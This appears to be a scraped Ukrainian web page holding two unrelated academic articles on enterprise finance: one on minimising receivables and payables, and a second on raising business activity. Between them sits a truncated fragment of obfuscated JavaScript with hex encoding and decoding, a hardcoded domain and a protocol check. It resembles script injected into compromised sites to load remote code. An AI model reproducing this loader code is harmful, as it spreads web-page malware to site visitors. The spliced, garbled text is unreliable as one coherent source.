Мета і завдання дослідження. Мета дослідження полягає у визначені напрямків мінімізації дебіторської та кредиторської заборгованості в структурі балансу підприємства на основі вивчення теоретичних аспектів обраної проблематики.

Виклад основного матеріалу. На фінансовий стан підприємства значною мірою впливає наявність та структура його дебіторської та кредиторської заборгованості. Ефективне управління ними є одним з важливих напрямків діяльності підприємства. Перш ніж вирішити проблемні питання управління дебіторською та кредиторською заборгованістю підприємства, визначимо сутність цих понять.

Дебіторська заборгованість підприємства є одним з фінансових показників його діяльності, який визначає рівень ліквідності та платоспроможності суб’єкта господарювання, є заборгованістю дебіторів перед підприємством, яка визначається в грошовій сумі за наданий споживчий та комерційний кредит покупцям, а також може бути в формі авансу постачальникам, щодо яких в підприємства виникає майнове право вимагати оплатити борг.

Визначаючи це поняття, потрібно звернутися до положень стандартів бухгалтерського обліку (далі − П(С)БО). Так, згідно з П(С)БО 10 «Дебіторська заборгованість», який є основним нормативно-законодавчим документом, що визначає це поняття, дебіторська заборгованість – це сума заборгованості дебіторів підприємству на певну дату. Це положення також розкриває значення поняття «дебітори», відповідно до якого, дебітори – це фізичні та юридичні  особи, які заборгували підприємству певні суми грошових коштів, їх еквівалентів або інших активів, внаслідок минулих подій [7].

До такої заборгованості відносять як заборгованість, яка удержується підприємством до терміну погашення, так і заборгованість, яка призначається для перепродажу, що утворюється підприємством з метою одержання прибутку у вигляді дивідендів, відсотків.

Також одним з важливих фінансових показників діяльності підприємства є його кредиторська заборгованість. Попри те, що одні з дослідників характеризують кредиторську заборгованість як грошові кошти, другі − як частку майна, треті – як певну форму розрахунків, кредиторська заборгованість завжди є невід’ємною стадією кругообігу капіталу, що повторюється і, в свою чергу, призводить до зростання неперервних господарських операцій з платежами та грошовими надходженнями на підприємстві [3].

З законодавчої точки зору кредиторська заборгованість є зобов’язанням.

Згідно з НП(С)БО 1 «Загальні вимоги до фінансової звітності», зобов’язання — це заборгованість підприємства, яка виникла внаслідок минулих подій і погашення якої в майбутньому, як очікується, призведе до зменшення ресурсів підприємства, що втілюють у собі економічні вигоди. Це визначення є дуже вагомим, оскільки встановлює ті характерні особливості зобов’язань, які позначаються на визнанні цієї позиції як такої [6].

Існують різні підходи до формулювання суті зобов’язань. Їх розглядають як суму витрат, як борг, як розрахункові взаємовідносини, як залучений капітал та як частину вартості майна. Тобто, зобов’язаннями виступає заборгованість підприємства,  яка виникає,  головним чином, у зв’язку з придбанням товарів та послуг в кредит, або кредити, які підприємство отримує для свого фінансування.

Методологія формування в бухгалтерському обліку інформації про зобов’язання та її розкриття у фінансовій звітності визначені П(С)БО 11 «Зобов’язання». Зобов’язання визнається, якщо його можна достовірно оцінити та існує ймовірність скорочення економічних вигод у майбутньому внаслідок його сплати [8].

В більшості випадків, із здійсненого аналізу дебіторської та кредиторської заборгованості підприємства, можна спостерігати їх збільшення в динаміці в структурі балансу підприємства, що негативно впливає на фінансовий стан суб’єкта господарювання та потребує вжиття певних заходів.

Збільшення дебіторської заборгованості підприємства, терміну протягом якого заборгованість дебіторів обертається в грошові кошти, зменшення інтенсивності її обертання, може свідчити про можливість неплатоспроможності покупців, їх банкрутства, збільшення величини продажів, наявність проблем збуту, непродуманої, нераціональної політики, яку підприємство проводить відносно своїх покупців. Однак, це не доцільно сприймати тільки як негативний фактор, оскільки, якщо заборгованість є нормальною, а не простроченою, то це не створить для підприємства фінансових труднощів, що виражатиметься в нестачі фінансових ресурсів, додаткових фінансових витратах, зменшенні прибутку та ризику неповернення боргів. Також це може бути свідченням  проведення підприємством більш м’якої політики з метою розширення ринків збуту. Підприємство не повинно прагнути заморозити кошти в дебіторській заборгованості, тому що, це уповільнить оборотність капіталу, знизить фінансову стійкість суб’єкта господарювання. Чим більше дебіторська заборгованість здійснюватиме оборотів, тим швидше підприємство одержуватиме кошти від своїх дебіторів, що підвищуватиме ліквідність його оборотних коштів.

Домінуючою метою підприємства при управлінні дебіторською заборгованістю має бути мінімізація розміру заборгованості, винятково, простроченої, та термінів інкасації заборгованості з метою збільшення своїх прибутків. Якщо в підприємства наявна заборгованість, за якою минув строк позовної давності, воно повинно вжити будь-яких заходів для її стягнення, приділити безпосередню увагу найдавнішим та найбільшим сумам заборгованості.

При управлінні дебіторською заборгованістю підприємству необхідно використовувати різні методи керування нею, які, в свою чергу, класифікують за певними групами (табл. 1).

Таблиця 1

Методи управління дебіторською заборгованістю підприємства

Джерело: розроблено автором на основі [4]

Для того, щоб прискорити погашення дебіторської заборгованості підприємства необхідно надавати покупцям знижку за зменшення строку її погашення, що спонукатиме їх оплачувати свої рахунки до встановленого строку сплати. Цей метод є широко використовуваним у високорозвинених країнах, оскільки підприємству вигідніше надати знижку на реалізовану ним продукцію та отримати швидку оплату рахунку, ніж втратити частину вартості продукції, яка реалізована, внаслідок інфляції. Також доцільно застосовувати при відпуску товарів передоплату, здійснювати комерційні вексельні розрахунки, що дозволять отримати певний відсоток за відстрочку платежу, використовувати механізм факторингу, що полягає в продажі підприємством банку права на отримання грошових коштів за платіжними дорученнями на реалізовану продукцію, термін оплати якої минув, або є поточним,  в обмін на отримання основної частини суми заборгованості (з вирахуванням комісійних відсотків банку, чи факторинговій компанії, величина яких залежить від фактора ризику, чинної відсоткової ставки та термінів сплати заборгованості). Впровадження цих заходів допоможе підприємству зменшити розміри заборгованості дебіторів, надасть можливість використання дебіторської заборгованості в його операційній та інвестиційній діяльності, яка може принести суб’єкту господарювання більше вигоди. Реалізація вказаних основних сучасних форм рефінансування заборгованості, таких як обіг векселів, факторинг, овердрафт, тощо, чомусь є не широко використовуваними на промислових підприємствах, хоча вони істотно прискорюють трансформацію заборгованості дебіторів в грошові кошти.

Загалом, для скорочення величини дебіторської заборгованості підприємства доцільно використовувати різні напрямки мінімізації її величини (табл. 2).

Таблиця 2

Напрямки мінімізації величини дебіторської заборгованості підприємства

Джерело: розроблено автором на основі [1]

Щоб реалізовувати ефективну політику керування дебіторською заборгованістю, підприємству необхідно встановити граничні її розміри та терміни погашення, дотримуватися них, та здійснювати чітке її планування. Потрібно встановити такий оптимальний розмір заборгованості, який би надмірно не іммобілізував фінансові ресурси та не створював для підприємства проблем із забезпеченням постійного процесу виробництва, постачання, реалізації і розрахунків за власними зобов’язаннями. Суб’єкт господарювання повинен здійснювати постійний оперативний контроль за рухом заборгованості дебіторів, що дозволить слідкувати за тим, наскільки своєчасно відбувається погашення заборгованості, чи відповідає запропонована підприємством відстрочка здійснення платежу його стану та вимогам ринку. У разі виникнення простроченої дебіторської заборгованості потрібно розробити певну систематичну процедуру для її стягнення та дотримуватись її [4].

В свою чергу, зростання кредиторської заборгованості підприємства, інтенсивності її обертання, зменшення терміну оборотності, може свідчити про нестабільне фінансове становище підприємства, наявність фінансових труднощів, можливість втрати платоспроможності, більший фінансовий ризик для інвесторів та кредиторів, зниження ефективності управління. Однак, не можна оцінювати збільшення періоду погашення позитивно, адже, наявність такого значного терміну погашення заборгованості, створює ризик погіршення ділового іміджу підприємства серед постачальників, зменшення продуктивності праці поміж працівників, застосування зі сторони держави штрафних санкцій, тощо. Залучення суб’єктом господарювання кредитних коштів з однієї сторони розширює його фінансові можливості в оперативному маневруванні джерелами покриття його потреб, але і, водночас, створює ризик, що пов’язаний з примусовістю їх повернення в немалих обсягах в майбутньому.

Забезпечення ефективного управління кредиторською заборгованістю підприємства надасть змогу ліквідувати негативні для нього наслідки її наявності. Управління кредиторською заборгованістю є важливим аспектом в діяльності підприємства, оскільки є провідною опорою в функціонуванні сьогочасного бізнесу. Правильне керування кредиторською заборгованістю може стати порівняно недорогим та додатковим джерелом залучення фінансових ресурсів.

Основні домінанти, якими повинно керуватися підприємство в процесі управління своєю кредиторською заборгованістю, представлено на рисунку 1.

Рис. 1. Основні домінанти управління кредиторською заборгованістю підприємства

Джерело: розроблено автором на основі [2].

Управління кредиторською заборгованістю підприємства може передбачати її оптимізацію та мінімізацію. В більшості випадків доцільніше проводити мінімізацію кредиторської заборгованості, тобто максимальне зменшення її розмірів.

Як і при управлінні дебіторською заборгованістю, необхідно здійснювати прогноз загального розміру кредиторської заборгованості відповідно до цілей та основних показників діяльності підприємства. Суб’єкт господарювання повинен здійснювати постійний контроль за заборгованістю, особливо, що стосується простроченої кредиторської заборгованості, своєчасно виявляти суми заборгованості, які є неприпустимими для підприємства, приймати результативні адміністративні рішення щодо її ліквідації.

Для того, щоб на підприємстві не існувало необґрунтованих сум кредиторської заборгованості, необхідно здійснювати правильне управління його дебіторською заборгованістю. Зменшуючи дебіторську заборгованість, підприємство відповідно зменшує і власну кредиторську заборгованість.

Підприємству потрібно організувати аналітичний облік таким чином, щоб отримувати інформацію про строки погашення та утворення простроченої заборгованості.

Суб’єкту підприємницької діяльності доцільно також створити спеціальний відділ, який здійснюватиме контроль дебіторської та кредиторської заборгованості, але потрібно врахувати доцільність створення цієї служби, адже це додаткові кадри та витрати підприємства. Створення такого відділу раціональне лише на масштабних підприємствах у випадку необхідності [2].

При управлінні дебіторською та кредиторською заборгованістю підприємства необхідно реалізовувати такі напрямки їх мінімізації (табл. 3).

Таблиця 3

Напрямки мінімізації дебіторської та кредиторської заборгованості підприємства

Джерело: розроблено автором на основі [5]

При управлінні заборгованістю в будь-якому випадку підприємство повинно в першу чергу приймати правильні, ефективні та обґрунтовані рішення, адже від прийняття цих рішень сьогодні, залежать перспективи розвитку та становище підприємства взавтра.

Також, одним з важливих напрямів покращення фінансового стану підприємства є збалансування співвідношення дебіторської та кредиторської заборгованості. В більшості випадків спостерігається значне перевищення кредиторської заборгованості, що може вказувати як на те, що підприємство раціонально використовує свої кошти, оскільки більше залучає їх в обіг, ніж  вилучає з нього, так і про те, що незважаючи на стан дебіторської заборгованості суб’єкт господарювання змушений погашати свою заборгованість. В такому випадку майбутні надходження не перекривають майбутніх платежів, підприємство не здатне розрахуватися за рахунок заборгованості дебіторів з його кредиторами. Якщо термін погашення кредиторської заборгованості перевищує термін погашення дебіторської заборгованості, необхідно з’ясувати причини такого стану, оскільки випереджувальне зростання кредиторської заборгованості порівняно з дебіторською заборгованістю свідчить про погіршення фінансового стану підприємства, його платоспроможності. Стрімкіша оборотність дебіторської заборгованості, порівнюючи з кредиторською, свідчить про те, що підприємство проводить обмірковану кредитну політику та в змозі спрямовувати отримані від дебіторів грошові кошти на погашення заборгованості перед кредиторами.

Все частіше цьому питанню  приділяють все менше уваги, що призводить до  неконтрольованого росту заборгованості, в тому числі і простроченої, погіршення фінансового становища підприємства. На деяких підприємствах кредиторська заборгованість перевищує дебіторську в 5-10 разів, коли нормативне перевищення становить 10-20 %. Однак, це не можна оцінювати негативно, оскільки підприємство володіє високоліквідними активами, погашення заборгованості якими суттєво не позначиться на дальшій діяльності підприємства. Варто теж враховувати принцип «Вимагай оплати якомога швидше та оплачуй якомога пізніше». При досягненні балансу дебіторської та кредиторської заборгованості потрібно пам’ятати про баланс їх вартості, щоб витрати, які пов’язані з кредиторською заборгованістю не перевищували доходів, які пов’язані з відстрочкою дебіторської заборгованості. Кредиторська заборгованість суб’єкта господарювання сприятиме збільшенню його конкурентоспроможності та прибутковості, рентабельності власного капіталу, якщо воно матиме чітку стратегію щодо залучення та використання позичкового капіталу [5].

Висновки. Отже, для того, щоб покращувати фінансовий стан підприємства потрібно здійснювати ефективне управління його дебіторською та кредиторської заборгованістю, слідкувати за їх оптимальним співвідношенням. Реалізація запропонованих напрямків мінімізації дебіторської та кредиторської заборгованості надасть можливість підприємству зменшувати їх частку в структурі балансу, підвищувати ефективність використання та вирішувати наявні фінансові проблеми. Удосконаливши систему управління заборгованістю суб’єкт господарювання матиме змогу підвищити результативність своєї діяльності. Прогнозування поведінки, тенденцій заборгованості, вчасне виявлення диспропорцій та суперечностей у її формуванні, надасть змогу підприємству здійснити певні застережні заходи, оцінити власні можливості запобігання погіршенню свого фінансового становища.

Література:

1. Вірстюк Н. В. Удосконалення системи обліку та управління дебіторської заборгованості на сучасному етапі / Н. В. Вірстюк, І. І. Воронцова // Буковинська державна фінансова академія. – [Електронний ресурс]. – Режим доступу: http://-www.rusnauka.com/13_NMN_2011/Economics/7_86543.doc.htm.

2. Воробйова І. А. Механізм розвитку управління заборгованістю підприємства / І. А. Воробйова, А. О. Лисицина // Збірник наукових праць НУК. Серія: економіка та управління підприємствами. – 2011. − № 2. – [Електронний ресурс]. – Режим доступу: http://jnn.nuos.edu.ua/article/viewFile/25407/22873.

3. Дячук О. В. Місце кредиторської заборгованості в системі управління підприємством / О. В. Дячук, В. В. Новодворська // Економічні науки. Cер. : Облік і фінанси. − 2013. − Вип. 10(3). − С. 243-251. – [Електронний ресурс]. – Режим доступу: file:///D:/Downloads/ecnof_2013_10(3)__42%20(9).pdf.

4. Єригіна І. О. Проблема управління дебіторською заборгованістю підприємства та шляхи її вирішення / І. О. Єригіна // Криворізький економічний інститут «Київський національний економічний університет імені Вадима Гетьмана».Серія:Економічні науки/ Облік та аудит. – [Електронний ресурс]. − Режим доступу: http://www.rusnauka.com/12_KPSN_2010/Economics/-63411.doc.htm.

5. Лівошко Т. В. Управління дебіторською та кредиторською заборгованістю промислового підприємства / Т. В. Лівошко, Ю. Сезонко // Економічний вісник Запорізької державної інженерної компанії. − 2013. – Випуск 4. − С. 88-93. – [Електронний ресурс]. – Режим доступу: http://www.-zgia.zp.ua/gazeta/evzdia_4_088.-pdf.

6. Національне положення (стандарт) бухгалтерського обліку 1 «Загальні вимоги до фінансової звітності»: Наказ Міністерства фінансів України № 73 від 07.02.2013 р. (із змінами і доповненнями). – [Електронний ресурс]. – Режим доступу: http://dt-kt.com.ua/show/2cid011160.html.

7. Положення (стандарт) бухгалтерського обліку 10 «Дебіторська заборгованість»: Наказ Міністерства фінансів України № 237 від 08.10.1999 р. (із змінами і доповненнями). – [Електронний ресурс]. – Режим доступу: http://zakon5.rada.gov.-ua/laws/show/z0725-99.

8. Положення (стандарт) бухгалтерського обліку 11 «Зобов’язання»: Наказ Міністерства фінансів України № 20 від 30.01.2000 р. (із змінами і доповненнями). – [Електронний ресурс]. – Режим доступу: http://zakon3.rada.-gov.ua/laws/show/z008500.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “naub.oa.edu.ua”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;e

Вивченням питань, що стосуються ділової активності підприємства займаються Л. О. Коваленко, Т. П. Куриленко, А. М. Лебедєва, А. Д. Шеремет та інші, проте існує доцільність у систематизації основних шляхів забезпечення зростання ділової активності підприємства.

Мета дослідження полягає у обґрунтуванні шляхів зростання ділової активності підприємства як чинника ефективного функціонування ринкової економіки.

Ефективність діяльності підприємства в значній мірі залежить від розробленої системи шляхів і напрямів їх реалізації щодо раціоналізації рівня ділової активності та своєчасності прийняття оперативних управлінських рішень. Зростання ділової активності підприємства полягає насамперед у підвищенні ефективності використання ресурсів підприємства за рахунок прискорення оборотності ресурсів і скорочення періоду їх обороту.

Підвищення ефективності використання ресурсів підприємство може досягти шляхом скорочення операційного та фінансового циклів. Напрями їх скорочення пов’язані зі скороченням виробничого циклу, зменшенням тривалості обороту дебіторської заборгованості, збільшенням тривалості обороту кредиторської заборгованості [1, 73].

Операційний цикл суттєво впливає на обсяг, структуру й ефективність використання матеріальних цінностей. У процесі управління виробничими запасами в межах операційного циклу необхідно особливо виділити виробничий цикл. На тривалість виробничого циклу насамперед впливає прискорення оборотності матеріальних цінностей у процесі виробництва продукції.

Прискорення оборотності матеріальних цінностей досягається збільшенням частки оборотних активів з високою оборотністю і зниженням частки активів, що обертаються повільно. Водночас матеріальні цінності мають бути на такому рівні, щоб можна було забезпечити безперервність процесу виробництва і реалізації продукції.

Ефективна організація виробничих запасів є важливою умовою підвищення ефективності використання оборотних коштів. Основні шляхи скорочення виробничих запасів підприємства зводяться до їх раціонального використання, ліквідації наднормативних запасів матеріалів, вдосконаленню нормування, поліпшення організації постачання та ін.

Для підвищення ділової активності підприємства важливе значення має оптимізація дебіторської заборгованості. Для цього підприємство може залучати установи, які стягують борги, за наявністю документальних підтверджень;  здійснювати продаж рахунків дебіторів факторинговій компанії або банку; виставляти рахунок покупцям одразу ж при продажу великої кількості товару; страхувати кредити для захисту від значних збитків з безнадійних боргів; формувати системи штрафних санкцій за прострочене виконання зобов’язань [3].

Що стосується ефективності формування та використання кредиторської заборгованості підприємства, то вона полягає у забезпеченні своєчасного нарахування і виплати коштів, які входять до її складу. Важливим напрямом також є визначення джерел погашення короткострокових фінансових зобов’язань підприємства. Варто зазначити, що сповільнення кредиторської заборгованості для зменшення фінансового циклу підприємства є допустимим до того рівня, що не чинить негативний вплив на фінансову стійкість підприємства.

Стійке економічне зростання підприємства також є важливою складовою ділової активності. Основним фактором, який забезпечує стійке економічне зростання підприємства, є величина його прибутку. Тому керівництво підприємства повинно ставити перед собою завдання щодо його максимізації. Основні шляхи максимізації фінансових результатів підприємства полягають у  нарощенні випуску продукції з одночасним підвищення її якості, оптимізації виробничих процесів, зниженні собiвартостi виробництва, диверсифікації ринків збуту продукції та проведенні виваженої дивідендної політики підприємства.

Для забезпечення економічної стійкості підприємства необхідні гнучкість та швидкість реакції на зміни кон’юнктури ринку, підвищення конкурентоспроможності виробництва та продукції, висока інвестиційна активність,  ліквідність та фінансова стабільність [2, 152].

Отже, ділова активність підприємства в ринкових умовах стає інтегральною характеристикою господарюючого суб’єкта щодо його відповідності об’єктивним економічним умовам. Основними напрямами зростання ділової активності підприємства є зменшення періоду операційного та фінансового циклів, підвищення ефективності використання майна, максимізація прибутку, підвищення конкурентоспроможності продукції, пошук нових ринків збуту.

Література:

1. Кірейцев Г. Г. Фінансовий менеджмент / Г. Г. Кірейцев. – Житомир: ЖІТІ, 2001. – 440 с.
2. Удовиченко М. О. Теоретичні аспекти економічної стійкості сільськогосподарських підприємств / М. О. Удовиченко // Наукові праці Полтавської державної аграрної академії. – 2011. – Вип. 3. – С. 149-152.
3. Шевченко С. С. Проблеми оптимізації стану дебіторської заборгованості в умовах антикризового управління [Електронний ресурс] / С.С. Шевченко. – Режим доступу: http://intkonf.org/shevchenko-ss-shevchenko-ls-problemi-optimizatsiyi-stanu-debitorskoyi-zaborgovanosti-v-umovah-antikrizovogo-upravlinnya.